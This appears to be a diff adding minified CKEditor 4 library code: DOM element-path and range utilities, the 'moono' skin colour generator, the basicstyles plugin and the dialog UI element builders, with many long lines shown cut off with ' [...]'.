+(function(){var b={},c;for(c in CKEDITOR.dtd.$blockLimit)c in CKEDITOR.dtd.$list||(b[c]=1);var a={};for(c in CKEDITOR.dtd.$block)c in CKEDITOR.dtd.$blockLimit||c in CKEDITOR.dtd.$empty||(a[c]=1);CKEDITOR.dom.elementPath=function(c,e){var d=null,g=null,k=[],e=e||c.getDocument().getBody(),h=c;do if(h.type==CKEDITOR.NODE_ELEMENT){k.push(h);if(!this.lastElement){this.lastElement=h;if(h.is(CKEDITOR.dtd.$object))continue}var l=h.getName();if(!g){!d&&a[l]&&(d=h);if(b[l]){var m;if(m=!d){if(l=l== [...]
+h.getChildren();m=0;for(var n=l.count();m<n;m++){var o=l.getItem(m);if(o.type==CKEDITOR.NODE_ELEMENT&&CKEDITOR.dtd.$block[o.getName()]){l=true;break a}}l=false}l=!l&&!h.equals(e)}m=l}m?d=h:g=h}}if(h.equals(e))break}while(h=h.getParent());this.block=d;this.blockLimit=g;this.root=e;this.elements=k}})();
+CKEDITOR.dom.elementPath.prototype={compare:function(b){var c=this.elements,b=b&&b.elements;if(!b||c.length!=b.length)return false;for(var a=0;a<c.length;a++)if(!c[a].equals(b[a]))return false;return true},contains:function(b,c,a){var f;typeof b=="string"&&(f=function(a){return a.getName()==b});b instanceof CKEDITOR.dom.element?f=function(a){return a.equals(b)}:CKEDITOR.tools.isArray(b)?f=function(a){return CKEDITOR.tools.indexOf(b,a.getName())>-1}:typeof b=="function"?f=b:typeof b=="obj [...]
+function(a){return a.getName()in b});var e=this.elements,d=e.length;c&&d--;if(a){e=Array.prototype.slice.call(e,0);e.reverse()}for(c=0;c<d;c++)if(f(e[c]))return e[c];return null},isContextFor:function(b){var c;if(b in CKEDITOR.dtd.$block){c=this.contains(CKEDITOR.dtd.$intermediate)||this.root.equals(this.block)&&this.block||this.blockLimit;return!!c.getDtd()[b]}return true}};CKEDITOR.dom.text=function(b,c){typeof b=="string"&&(b=(c?c.$:document).createTextNode(b));this.$=b};
+CKEDITOR.dom.text.prototype=new CKEDITOR.dom.node;
+CKEDITOR.tools.extend(CKEDITOR.dom.text.prototype,{type:CKEDITOR.NODE_TEXT,getLength:function(){return this.$.nodeValue.length},getText:function(){return this.$.nodeValue},setText:function(b){this.$.nodeValue=b},split:function(b){var c=this.$.parentNode,a=c.childNodes.length,f=this.getLength(),e=this.getDocument(),d=new CKEDITOR.dom.text(this.$.splitText(b),e);if(c.childNodes.length==a)if(b>=f){d=e.createText("");d.insertAfter(this)}else{b=e.createText("");b.insertAfter(d);b.remove()}ret [...]
+c){return typeof c!="number"?this.$.nodeValue.substr(b):this.$.nodeValue.substring(b,c)}});
+(function(){function b(a,b,c){var d=a.serializable,g=b[c?"endContainer":"startContainer"],k=c?"endOffset":"startOffset",h=d?b.document.getById(a.startNode):a.startNode,a=d?b.document.getById(a.endNode):a.endNode;if(g.equals(h.getPrevious())){b.startOffset=b.startOffset-g.getLength()-a.getPrevious().getLength();g=a.getNext()}else if(g.equals(a.getPrevious())){b.startOffset=b.startOffset-g.getLength();g=a.getNext()}g.equals(h.getParent())&&b[k]++;g.equals(a.getParent())&&b[k]++;b[c?"endCon [...]
+g;return b}CKEDITOR.dom.rangeList=function(a){if(a instanceof CKEDITOR.dom.rangeList)return a;a?a instanceof CKEDITOR.dom.range&&(a=[a]):a=[];return CKEDITOR.tools.extend(a,c)};var c={createIterator:function(){var a=this,b=CKEDITOR.dom.walker.bookmark(),c=[],d;return{getNextRange:function(g){d=d==void 0?0:d+1;var k=a[d];if(k&&a.length>1){if(!d)for(var h=a.length-1;h>=0;h--)c.unshift(a[h].createBookmark(true));if(g)for(var l=0;a[d+l+1];){for(var m=k.document,g=0,h=m.getById(c[l].endNode), [...]
+1].startNode);;){h=h.getNextSourceNode(false);if(m.equals(h))g=1;else if(b(h)||h.type==CKEDITOR.NODE_ELEMENT&&h.isBlockBoundary())continue;break}if(!g)break;l++}for(k.moveToBookmark(c.shift());l--;){h=a[++d];h.moveToBookmark(c.shift());k.setEnd(h.endContainer,h.endOffset)}}return k}}},createBookmarks:function(a){for(var c=[],e,d=0;d<this.length;d++){c.push(e=this[d].createBookmark(a,true));for(var g=d+1;g<this.length;g++){this[g]=b(e,this[g]);this[g]=b(e,this[g],true)}}return c},createBo [...]
+[],c=0;c<this.length;c++)b.push(this[c].createBookmark2(a));return b},moveToBookmarks:function(a){for(var b=0;b<this.length;b++)this[b].moveToBookmark(a[b])}}})();
+(function(){function b(){return CKEDITOR.getUrl(CKEDITOR.skinName.split(",")[1]||"skins/"+CKEDITOR.skinName.split(",")[0]+"/")}function c(a){var c=CKEDITOR.skin["ua_"+a],d=CKEDITOR.env;if(c)for(var c=c.split(",").sort(function(a,b){return a>b?-1:1}),e=0,f;e<c.length;e++){f=c[e];if(d.ie&&(f.replace(/^ie/,"")==d.version||d.quirks&&f=="iequirks"))f="ie";if(d[f]){a=a+("_"+c[e]);break}}return CKEDITOR.getUrl(b()+a+".css")}function a(a,b){if(!d[a]){CKEDITOR.document.appendStyleSheet(c(a));d[a] [...]
+function f(a){var b=a.getById(g);if(!b){b=a.getHead().append("style");b.setAttribute("id",g);b.setAttribute("type","text/css")}return b}function e(a,b,c){var d,e,f;if(CKEDITOR.env.webkit){b=b.split("}").slice(0,-1);for(e=0;e<b.length;e++)b[e]=b[e].split("{")}for(var g=0;g<a.length;g++)if(CKEDITOR.env.webkit)for(e=0;e<b.length;e++){f=b[e][1];for(d=0;d<c.length;d++)f=f.replace(c[d][0],c[d][1]);a[g].$.sheet.addRule(b[e][0],f)}else{f=b;for(d=0;d<c.length;d++)f=f.replace(c[d][0],c[d][1]);CKED [...]
+a[g].$.styleSheet.cssText=a[g].$.styleSheet.cssText+f:a[g].$.innerHTML=a[g].$.innerHTML+f}}var d={};CKEDITOR.skin={path:b,loadPart:function(c,d){CKEDITOR.skin.name!=CKEDITOR.skinName.split(",")[0]?CKEDITOR.scriptLoader.load(CKEDITOR.getUrl(b()+"skin.js"),function(){a(c,d)}):a(c,d)},getPath:function(a){return CKEDITOR.getUrl(c(a))},icons:{},addIcon:function(a,b,c){a=a.toLowerCase();this.icons[a]||(this.icons[a]={path:b,offset:c||0})},getIconStyle:function(a,b,c,d){var e;if(a){a=a.toLowerC [...]
+(e=this.icons[a+"-rtl"]);e||(e=this.icons[a])}a=c||e&&e.path||"";d=d||e&&e.offset;return a&&"background-image:url("+CKEDITOR.getUrl(a)+");background-position:0 "+d+"px;"}};CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{getUiColor:function(){return this.uiColor},setUiColor:function(a){var b=f(CKEDITOR.document);return(this.setUiColor=function(a){var c=CKEDITOR.skin.chameleon,d=[[h,a]];this.uiColor=a;e([b],c(this,"editor"),d);e(k,c(this,"panel"),d)}).call(this,a)}});var g="cke_ui_color", [...]
+CKEDITOR.on("instanceLoaded",function(a){if(!CKEDITOR.env.ie||!CKEDITOR.env.quirks){var b=a.editor,a=function(a){a=(a.data[0]||a.data).element.getElementsByTag("iframe").getItem(0).getFrameDocument();if(!a.getById("cke_ui_color")){a=f(a);k.push(a);var c=b.getUiColor();c&&e([a],CKEDITOR.skin.chameleon(b,"panel"),[[h,c]])}};b.on("panelShow",a);b.on("menuShow",a);b.config.uiColor&&b.setUiColor(b.config.uiColor)}})})();
+(function(){if(CKEDITOR.env.webkit)CKEDITOR.env.hc=false;else{var b=CKEDITOR.dom.element.createFromHtml('<div style="width:0px;height:0px;position:absolute;left:-10000px;border: 1px solid;border-color: red blue;"></div>',CKEDITOR.document);b.appendTo(CKEDITOR.document.getHead());try{CKEDITOR.env.hc=b.getComputedStyle("border-top-color")==b.getComputedStyle("border-right-color")}catch(c){CKEDITOR.env.hc=false}b.remove()}if(CKEDITOR.env.hc)CKEDITOR.env.cssClass=CKEDITOR.env.cssClass+" cke_ [...]
+CKEDITOR.status="loaded";CKEDITOR.fireOnce("loaded");if(b=CKEDITOR._.pending){delete CKEDITOR._.pending;for(var a=0;a<b.length;a++){CKEDITOR.editor.prototype.constructor.apply(b[a][0],b[a][1]);CKEDITOR.add(b[a][0])}}})();/*
+ Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
+ For licensing, see LICENSE.html or http://ckeditor.com/license
+*/
+CKEDITOR.skin.name="moono";CKEDITOR.skin.ua_editor="ie,ie7,ie8,gecko";CKEDITOR.skin.ua_dialog="ie,ie7,ie8,opera";
+CKEDITOR.skin.chameleon=function(){var b=function(){return function(b,e){for(var a=b.match(/[^#]./g),c=0;3>c;c++){var f=a,h=c,d;d=parseInt(a[c],16);d=("0"+(0>e?0|d*(1+e):0|d+(255-d)*e).toString(16)).slice(-2);f[h]=d}return"#"+a.join("")}}(),c=function(){var b=new CKEDITOR.template("background:#{to};background-image:-webkit-gradient(linear,lefttop,leftbottom,from({from}),to({to}));background-image:-moz-linear-gradient(top,{from},{to});background-image:-webkit-linear-gradient(top,{from},{t [...]
+a){return b.output({from:c,to:a})}}(),f={editor:new CKEDITOR.template("{id}.cke_chrome [border-color:{defaultBorder};] {id} .cke_top [ {defaultGradient}border-bottom-color:{defaultBorder};] {id} .cke_bottom [{defaultGradient}border-top-color:{defaultBorder};] {id} .cke_resizer [border-right-color:{ckeResizer}] {id} .cke_dialog_title [{defaultGradient}border-bottom-color:{defaultBorder};] {id} .cke_dialog_footer [{defaultGradient}outline-color:{defaultBorder};border-top-color:{defaultBord [...]
+panel:new CKEDITOR.template(".cke_panel_grouptitle [{lightGradient}border-color:{defaultBorder};] .cke_menubutton_icon [background-color:{menubuttonIcon};] .cke_menubutton:hover .cke_menubutton_icon, .cke_menubutton:focus .cke_menubutton_icon, .cke_menubutton:active .cke_menubutton_icon [background-color:{menubuttonIconHover};] .cke_menuseparator [background-color:{menubuttonIcon};] a:hover.cke_colorbox, a:focus.cke_colorbox, a:active.cke_colorbox [border-color:{defaultBorder};] a:hover. [...]
+return function(g,e){var a=g.uiColor,a={id:"."+g.id,defaultBorder:b(a,-0.1),defaultGradient:c(b(a,0.9),a),lightGradient:c(b(a,1),b(a,0.7)),mediumGradient:c(b(a,0.8),b(a,0.5)),ckeButtonOn:c(b(a,0.6),b(a,0.7)),ckeResizer:b(a,-0.4),ckeToolbarSeparator:b(a,0.5),ckeColorauto:b(a,0.8),dialogBody:b(a,0.7),dialogTabSelected:c("#FFFFFF","#FFFFFF"),dialogTabSelectedBorder:"#FFF",elementsPathColor:b(a,-0.6),elementsPathBg:a,menubuttonIcon:b(a,0.5),menubuttonIconHover:b(a,0.3)};return f[e].output(a) [...]
+"{").replace(/\]/g,"}")}}();CKEDITOR.plugins.add("basicstyles",{init:function(c){var f=0,a=function(a,d,b,e){e&&(e=new CKEDITOR.style(e),c.attachStyleStateChange(e,function(a){!c.readOnly&&c.getCommand(b).setState(a)}),c.addCommand(b,new CKEDITOR.styleCommand(e)),c.ui.addButton&&c.ui.addButton(a,{label:d,command:b,toolbar:"basicstyles,"+(f+=10)}))},d=c.config,b=c.lang.basicstyles;a("Bold",b.bold,"bold",d.coreStyles_bold);a("Italic",b.italic,"italic",d.coreStyles_italic);a("Underline",b.u [...]
+a("Strike",b.strike,"strike",d.coreStyles_strike);a("Subscript",b.subscript,"subscript",d.coreStyles_subscript);a("Superscript",b.superscript,"superscript",d.coreStyles_superscript);c.setKeystroke([[CKEDITOR.CTRL+66,"bold"],[CKEDITOR.CTRL+73,"italic"],[CKEDITOR.CTRL+85,"underline"]])}});CKEDITOR.config.coreStyles_bold={element:"strong",overrides:"b"};CKEDITOR.config.coreStyles_italic={element:"em",overrides:"i"};CKEDITOR.config.coreStyles_underline={element:"u"};
+CKEDITOR.config.coreStyles_strike={element:"strike"};CKEDITOR.config.coreStyles_subscript={element:"sub"};CKEDITOR.config.coreStyles_superscript={element:"sup"};CKEDITOR.plugins.add("dialogui",{onLoad:function(){var h=function(b){this._||(this._={});this._["default"]=this._.initValue=b["default"]||"";this._.required=b.required||!1;for(var a=[this._],d=1;d<arguments.length;d++)a.push(arguments[d]);a.push(!0);CKEDITOR.tools.extend.apply(CKEDITOR.tools,a);return this._},r={build:function(b, [...]
+this.getInitValue()},reset:function(b){this.setValue(this.getInitValue(),b)},setInitValue:function(){this._.initValue=this.getValue()},resetInitValue:function(){this._.initValue=this._["default"]},getInitValue:function(){return this._.initValue}},o=CKEDITOR.tools.extend({},CKEDITOR.ui.dialog.uiElement.prototype.eventProcessors,{onChange:function(b,a){this._.domOnChangeRegistered||(b.on("load",function(){this.getInputElement().on("change",function(){b.parts.dialog.isVisible()&&this.fire(" [...]
+this)},this),this._.domOnChangeRegistered=!0);this.on("change",a)}},!0),s=/^on([A-Z]\w+)/,p=function(b){for(var a in b)(s.test(a)||"title"==a||"type"==a)&&delete b[a];return b};CKEDITOR.tools.extend(CKEDITOR.ui.dialog,{labeledElement:function(b,a,d,e){if(!(4>arguments.length)){var c=h.call(this,a);c.labelId=CKEDITOR.tools.getNextId()+"_label";this._.children=[];CKEDITOR.ui.dialog.uiElement.call(this,b,a,d,"div",null,{role:"presentation"},function(){var f=[],d=a.required?" cke_required":" [...]
+a.labelLayout?f.push('<label class="cke_dialog_ui_labeled_label'+d+'" ',' id="'+c.labelId+'"',c.inputId?' for="'+c.inputId+'"':"",(a.labelStyle?' style="'+a.labelStyle+'"':"")+">",a.label,"</label>",'<div class="cke_dialog_ui_labeled_content"'+(a.controlStyle?' style="'+a.controlStyle+'"':"")+' role="presentation">',e.call(this,b,a),"</div>"):(d={type:"hbox",widths:a.widths,padding:0,children:[{type:"html",html:'<label class="cke_dialog_ui_labeled_label'+d+'" id="'+c.labelId+'" for="'+c. [...]
+(a.labelStyle?' style="'+a.labelStyle+'"':"")+">"+CKEDITOR.tools.htmlEncode(a.label)+"</span>"},{type:"html",html:'<span class="cke_dialog_ui_labeled_content"'+(a.controlStyle?' style="'+a.controlStyle+'"':"")+">"+e.call(this,b,a)+"</span>"}]},CKEDITOR.dialog._.uiElementBuilders.hbox.build(b,d,f));return f.join("")})}},textInput:function(b,a,d){if(!(3>arguments.length)){h.call(this,a);var e=this._.inputId=CKEDITOR.tools.getNextId()+"_textInput",c={"class":"cke_dialog_ui_input_"+a.type,id [...]
+a.validate&&(this.validate=a.validate);a.maxLength&&(c.maxlength=a.maxLength);a.size&&(c.size=a.size);a.inputStyle&&(c.style=a.inputStyle);var f=this,i=!1;b.on("load",function(){f.getInputElement().on("keydown",function(a){a.data.getKeystroke()==13&&(i=true)});f.getInputElement().on("keyup",function(a){if(a.data.getKeystroke()==13&&i){b.getButton("ok")&&setTimeout(function(){b.getButton("ok").click()},0);i=false}},null,null,1E3)});CKEDITOR.ui.dialog.labeledElement.call(this,b,a,d,functio [...]
+['<div class="cke_dialog_ui_input_',a.type,'" role="presentation"'];a.width&&b.push('style="width:'+a.width+'" ');b.push("><input ");c["aria-labelledby"]=this._.labelId;this._.required&&(c["aria-required"]=this._.required);for(var f in c)b.push(f+'="'+c[f]+'" ');b.push(" /></div>");return b.join("")})}},textarea:function(b,a,d){if(!(3>arguments.length)){h.call(this,a);var e=this,c=this._.inputId=CKEDITOR.tools.getNextId()+"_textarea",f={};a.validate&&(this.validate=a.validate);f.rows=a.r [...]
+a.cols||20;"undefined"!=typeof a.inputStyle&&(f.style=a.inputStyle);CKEDITOR.ui.dialog.labeledElement.call(this,b,a,d,function(){f["aria-labelledby"]=this._.labelId;this._.required&&(f["aria-required"]=this._.required);var a=['<div class="cke_dialog_ui_input_textarea" role="presentation"><textarea class="cke_dialog_ui_input_textarea" id="',c,'" '],b;for(b in f)a.push(b+'="'+CKEDITOR.tools.htmlEncode(f[b])+'" ');a.push(">",CKEDITOR.tools.htmlEncode(e._["default"]),"</textarea></div>");ret [...]
+checkbox:function(b,a,d){if(!(3>arguments.length)){var e=h.call(this,a,{"default":!!a["default"]});a.validate&&(this.validate=a.validate);CKEDITOR.ui.dialog.uiElement.call(this,b,a,d,"span",null,null,function(){var c=CKEDITOR.tools.extend({},a,{id:a.id?a.id+"_checkbox":CKEDITOR.tools.getNextId()+"_checkbox"},true),f=[],d=CKEDITOR.tools.getNextId()+"_label",g={"class":"cke_dialog_ui_checkbox_input",type:"checkbox","aria-labelledby":d};p(c);if(a["default"])g.checked="checked";if(typeof c.i [...]
+"undefined")c.style=c.inputStyle;e.checkbox=new CKEDITOR.ui.dialog.uiElement(b,c,f,"input",null,g);f.push(' <label id="',d,'" for="',g.id,'"'+(a.labelStyle?' style="'+a.labelStyle+'"':"")+">",CKEDITOR.tools.htmlEncode(a.label),"</label>");return f.join("")})}},radio:function(b,a,d){if(!(3>arguments.length)){h.call(this,a);this._["default"]||(this._["default"]=this._.initValue=a.items[0][1]);a.validate&&(this.validate=a.valdiate);var e=[],c=this;CKEDITOR.ui.dialog.labeledElement.call(this [...]
+[],d=[],g=a.id?a.id+"_radio":CKEDITOR.tools.getNextId()+"_radio",j=0;j<a.items.length;j++){var k=a.items[j],h=k[2]!==void 0?k[2]:k[0],l=k[1]!==void 0?k[1]:k[0],m=CKEDITOR.tools.getNextId()+"_radio_input",n=m+"_label",m=CKEDITOR.tools.extend({},a,{id:m,title:null,type:null},true),h=CKEDITOR.tools.extend({},m,{title:h},true),o={type:"radio","class":"cke_dialog_ui_radio_input",name:g,value:l,"aria-labelledby":n},q=[];if(c._["default"]==l)o.checked="checked";p(m);p(h);if(typeof m.inputStyle! [...]
+m.inputStyle;e.push(new CKEDITOR.ui.dialog.uiElement(b,m,q,"input",null,o));q.push(" ");new CKEDITOR.ui.dialog.uiElement(b,h,q,"label",null,{id:n,"for":o.id},k[0]);f.push(q.join(""))}new CKEDITOR.ui.dialog.hbox(b,e,f,d);return d.join("")});this._.children=e}},button:function(b,a,d){if(arguments.length){"function"==typeof a&&(a=a(b.getParentEditor()));h.call(this,a,{disabled:a.disabled||!1});CKEDITOR.event.implementOn(this);var e=this;b.on("load",function(){var a=this.getElement();(functi [...]
+e.click,e);a.on("keydown",function(a){a.data.getKeystroke()in{32:1}&&(e.click(),a.data.preventDefault())})})();a.unselectable()},this);var c=CKEDITOR.tools.extend({},a);delete c.style;var f=CKEDITOR.tools.getNextId()+"_label";CKEDITOR.ui.dialog.uiElement.call(this,b,c,d,"a",null,{style:a.style,href:"javascript:void(0)",title:a.label,hidefocus:"true","class":a["class"],role:"button","aria-labelledby":f},'<span id="'+f+'" class="cke_dialog_ui_button">'+CKEDITOR.tools.htmlEncode(a.label)+"< [...]
+select:function(b,a,d){if(!(3>arguments.length)){var e=h.call(this,a);a.validate&&(this.validate=a.validate);e.inputId=CKEDITOR.tools.getNextId()+"_select";CKEDITOR.ui.dialog.labeledElement.call(this,b,a,d,function(){var c=CKEDITOR.tools.extend({},a,{id:a.id?a.id+"_select":CKEDITOR.tools.getNextId()+"_select"},true),d=[],i=[],g={id:e.inputId,"class":"cke_dialog_ui_input_select","aria-labelledby":this._.labelId};d.push('<div class="cke_dialog_ui_input_',a.type,'" role="presentation"');a.w [...]
+a.width+'" ');d.push(">");if(a.size!=void 0)g.size=a.size;if(a.multiple!=void 0)g.multiple=a.multiple;p(c);for(var j=0,k;j<a.items.length&&(k=a.items[j]);j++)i.push('<option value="',CKEDITOR.tools.htmlEncode(k[1]!==void 0?k[1]:k[0]).replace(/"/g,"""),'" /> ',CKEDITOR.tools.htmlEncode(k[0]));if(typeof c.inputStyle!="undefined")c.style=c.inputStyle;e.select=new CKEDITOR.ui.dialog.uiElement(b,c,d,"select",null,g,i.join(""));d.push("</div>");return d.join("")})}},file:function(b,a,d){i [...]
+a["default"]&&(a["default"]="");var e=CKEDITOR.tools.extend(h.call(this,a),{definition:a,buttons:[]});a.validate&&(this.validate=a.validate);b.on("load",function(){CKEDITOR.document.getById(e.frameId).getParent().addClass("cke_dialog_ui_input_file")});CKEDITOR.ui.dialog.labeledElement.call(this,b,a,d,function(){e.frameId=CKEDITOR.tools.getNextId()+"_fileInput";var b=CKEDITOR.env.isCustomDomain(),d=['<iframe frameborder="0" allowtransparency="0" class="cke_dialog_ui_input_file" role="pres [...]
+e.frameId,'" title="',a.label,'" src="javascript:void('];d.push(b?"(function(){document.open();document.domain='"+document.domain+"';document.close();})()":"0");d.push(')"></iframe>');return d.join("")})}},fileButton:function(b,a,d){if(!(3>arguments.length)){h.call(this,a);var e=this;a.validate&&(this.validate=a.validate);var c=CKEDITOR.tools.extend({},a),f=c.onClick;c.className=(c.className?c.className+" ":"")+"cke_dialog_ui_button";c.onClick=function(c){var d=a["for"];if(!f||f.call(thi [...]
+d[1]).submit();this.disable()}};b.on("load",function(){b.getContentElement(a["for"][0],a["for"][1])._.buttons.push(e)});CKEDITOR.ui.dialog.button.call(this,b,c,d)}},html:function(){var b=/^\s*<[\w:]+\s+([^>]*)?>/,a=/^(\s*<[\w:]+(?:\s+[^>]*)?)((?:.|\r|\n)+)$/,d=/\/$/;return function(e,c,f){if(!(3>arguments.length)){var i=[],g=c.html;"<"!=g.charAt(0)&&(g="<span>"+g+"</span>");var j=c.focus;j&&(this.focus=function(){this.selectParentTab();"function"==typeof j&&j.call(this);this.fire("focus" [...]
+(this.isFocusable=this.isFocusable),this.keyboardFocusable=!0);CKEDITOR.ui.dialog.uiElement.call(this,e,c,i,"span",null,null,"");i=i.join("").match(b);g=g.match(a)||["","",""];d.test(g[1])&&(g[1]=g[1].slice(0,-1),g[2]="/"+g[2]);f.push([g[1]," ",i[1]||"",g[2]].join(""))}}}(),fieldset:function(b,a,d,e,c){var f=c.label;this._={children:a};CKEDITOR.ui.dialog.uiElement.call(this,b,c,e,"fieldset",null,null,function(){var a=[];f&&a.push("<legend"+(c.labelStyle?' style="'+c.labelStyle+'"':"")+"> [...]
+for(var b=0;b<d.length;b++)a.push(d[b]);return a.join("")})}},!0);CKEDITOR.ui.dialog.html.prototype=new CKEDITOR.ui.dialog.uiElement;CKEDITOR.ui.dialog.labeledElement.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{setLabel:function(b){var a=CKEDITOR.document.getById(this._.labelId);1>a.getChildCount()?(new CKEDITOR.dom.text(b,CKEDITOR.document)).appendTo(a):a.getChild(0).$.nodeValue=b;return this},getLabel:function(){var b=CKEDITOR.document.getById(this._.labelId);retu [...]
+"":b.getChild(0).getText()},eventProcessors:o},!0);CKEDITOR.ui.dialog.button.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{click:function(){return!this._.disabled?this.fire("click",{dialog:this._.dialog}):!1},enable:function(){this._.disabled=!1;var b=this.getElement();b&&b.removeClass("cke_disabled")},disable:function(){this._.disabled=!0;this.getElement().addClass("cke_disabled")},isVisible:function(){return this.getElement().getFirst().isVisible()},isEnabled:functi [...]
+eventProcessors:CKEDITOR.tools.extend({},CKEDITOR.ui.dialog.uiElement.prototype.eventProcessors,{onClick:function(b,a){this.on("click",function(){a.apply(this,arguments)})}},!0),accessKeyUp:function(){this.click()},accessKeyDown:function(){this.focus()},keyboardFocusable:!0},!0);CKEDITOR.ui.dialog.textInput.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.labeledElement,{getInputElement:function(){return CKEDITOR.document.getById(this._.inputId)},focus:function(){var b=this.selectP [...]
+setTimeout(function(){var a=b.getInputElement();a&&a.$.focus()},0)},select:function(){var b=this.selectParentTab();setTimeout(function(){var a=b.getInputElement();a&&(a.$.focus(),a.$.select())},0)},accessKeyUp:function(){this.select()},setValue:function(b){!b&&(b="");return CKEDITOR.ui.dialog.uiElement.prototype.setValue.apply(this,arguments)},keyboardFocusable:!0},n,!0);CKEDITOR.ui.dialog.textarea.prototype=new CKEDITOR.ui.dialog.textInput;CKEDITOR.ui.dialog.select.prototype=CKEDITOR.to [...]
+{getInputElement:function(){return this._.select.getElement()},add:function(b,a,d){var e=new CKEDITOR.dom.element("option",this.getDialog().getParentEditor().document),c=this.getInputElement().$;e.$.text=b;e.$.value=void 0===a||null===a?b:a;void 0===d||null===d?CKEDITOR.env.ie?c.add(e.$):c.add(e.$,null):c.add(e.$,d);return this},remove:function(b){this.getInputElement().$.remove(b);return this},clear:function(){for(var b=this.getInputElement().$;0<b.length;)b.remove(0);return this},keybo [...]
+n,!0);CKEDITOR.ui.dialog.checkbox.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{getInputElement:function(){return this._.checkbox.getElement()},setValue:function(b,a){this.getInputElement().$.checked=b;!a&&this.fire("change",{value:b})},getValue:function(){return this.getInputElement().$.checked},accessKeyUp:function(){this.setValue(!this.getValue())},eventProcessors:{onChange:function(b,a){if(CKEDITOR.env.ie)b.on("load",function(){var a=this._.checkbox.getElement();a [...]
+function(b){b=b.data.$;"checked"==b.propertyName&&this.fire("change",{value:a.$.checked})},this)},this),this.on("change",a);else return o.onChange.apply(this,arguments);return null}},keyboardFocusable:!0},n,!0);CKEDITOR.ui.dialog.radio.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{setValue:function(b,a){for(var d=this._.children,e,c=0;c<d.length&&(e=d[c]);c++)e.getElement().$.checked=e.getValue()==b;!a&&this.fire("change",{value:b})},getValue:function(){for(var b=this [...]
+a=0;a<b.length;a++)if(b[a].getElement().$.checked)return b[a].getValue();return null},accessKeyUp:function(){var b=this._.children,a;for(a=0;a<b.length;a++)if(b[a].getElement().$.checked){b[a].getElement().focus();return}b[0].getElement().focus()},eventProcessors:{onChange:function(b,a){if(CKEDITOR.env.ie)b.on("load",function(){for(var a=this._.children,b=this,c=0;c<a.length;c++)a[c].getElement().on("propertychange",function(a){a=a.data.$;"checked"==a.propertyName&&this.$.checked&&b.fire [...]
+{value:this.getAttribute("value")})})},this),this.on("change",a);else return o.onChange.apply(this,arguments);return null}},keyboardFocusable:!0},n,!0);CKEDITOR.ui.dialog.file.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.labeledElement,n,{getInputElement:function(){var b=CKEDITOR.document.getById(this._.frameId).getFrameDocument();return 0<b.$.forms.length?new CKEDITOR.dom.element(b.$.forms[0].elements[0]):this.getElement()},submit:function(){this.getInputElement().getParent(). [...]
+return this},getAction:function(){return this.getInputElement().getParent().$.action},registerEvents:function(b){var a=/^on([A-Z]\w+)/,d,e=function(a,b,c,d){a.on("formLoaded",function(){a.getInputElement().on(c,d,a)})},c;for(c in b)if(d=c.match(a))this.eventProcessors[c]?this.eventProcessors[c].call(this,this._.dialog,b[c]):e(this,this._.dialog,d[1].toLowerCase(),b[c]);return this},reset:function(){function b(){d.$.open();CKEDITOR.env.isCustomDomain()&&(d.$.domain=document.domain);var b= [...]
+(b=e.size-(CKEDITOR.env.ie?7:0));var h=a.frameId+"_input";d.$.write(['<html dir="'+g+'" lang="'+j+'"><head><title></title></head><body style="margin: 0; overflow: hidden; background: transparent;">','<form enctype="multipart/form-data" method="POST" dir="'+g+'" lang="'+j+'" action="',CKEDITOR.tools.htmlEncode(e.action),'"><label id="',a.labelId,'" for="',h,'" style="display:none">',CKEDITOR.tools.htmlEncode(e.label),'</label><input id="',h,'" aria-labelledby="',a.labelId,'" type="file" n [...]
+"cke_upload"),'" size="',CKEDITOR.tools.htmlEncode(0<b?b:""),'" /></form></body></html>',"<script>window.parent.CKEDITOR.tools.callFunction("+f+");","window.onbeforeunload = function() {window.parent.CKEDITOR.tools.callFunction("+i+")}<\/script>"].join(""));d.$.close();for(b=0;b<c.length;b++)c[b].enable()}var a=this._,d=CKEDITOR.document.getById(a.frameId).getFrameDocument(),e=a.definition,c=a.buttons,f=this.formLoadedNumber,i=this.formUnloadNumber,g=a.dialog._.editor.lang.dir,j=a.dialog [...]
+f||(f=this.formLoadedNumber=CKEDITOR.tools.addFunction(function(){this.fire("formLoaded")},this),i=this.formUnloadNumber=CKEDITOR.tools.addFunction(function(){this.getInputElement().clearCustomData()},this),this.getDialog()._.editor.on("destroy",function(){CKEDITOR.tools.removeFunction(f);CKEDITOR.tools.removeFunction(i)}));CKEDITOR.env.gecko?setTimeout(b,500):b()},getValue:function(){return this.getInputElement().$.value||""},setInitValue:function(){this._.initValue=""},eventProcessors: [...]
+a){this._.domOnChangeRegistered||(this.on("formLoaded",function(){this.getInputElement().on("change",function(){this.fire("change",{value:this.getValue()})},this)},this),this._.domOnChangeRegistered=!0);this.on("change",a)}},keyboardFocusable:!0},!0);CKEDITOR.ui.dialog.fileButton.prototype=new CKEDITOR.ui.dialog.button;CKEDITOR.ui.dialog.fieldset.prototype=CKEDITOR.tools.clone(CKEDITOR.ui.dialog.hbox.prototype);CKEDITOR.dialog.addUIElement("text",r);CKEDITOR.dialog.addUIElement("password [...]
+l);CKEDITOR.dialog.addUIElement("checkbox",l);CKEDITOR.dialog.addUIElement("radio",l);CKEDITOR.dialog.addUIElement("button",l);CKEDITOR.dialog.addUIElement("select",l);CKEDITOR.dialog.addUIElement("file",l);CKEDITOR.dialog.addUIElement("fileButton",l);CKEDITOR.dialog.addUIElement("html",l);CKEDITOR.dialog.addUIElement("fieldset",{build:function(b,a,d){for(var e=a.children,c,f=[],i=[],g=0;g<e.length&&(c=e[g]);g++){var h=[];f.push(h);i.push(CKEDITOR.dialog._.uiElementBuilders[c.type].build [...]
+i,f,d,a)}})}});CKEDITOR.DIALOG_RESIZE_NONE=0;CKEDITOR.DIALOG_RESIZE_WIDTH=1;CKEDITOR.DIALOG_RESIZE_HEIGHT=2;CKEDITOR.DIALOG_RESIZE_BOTH=3;
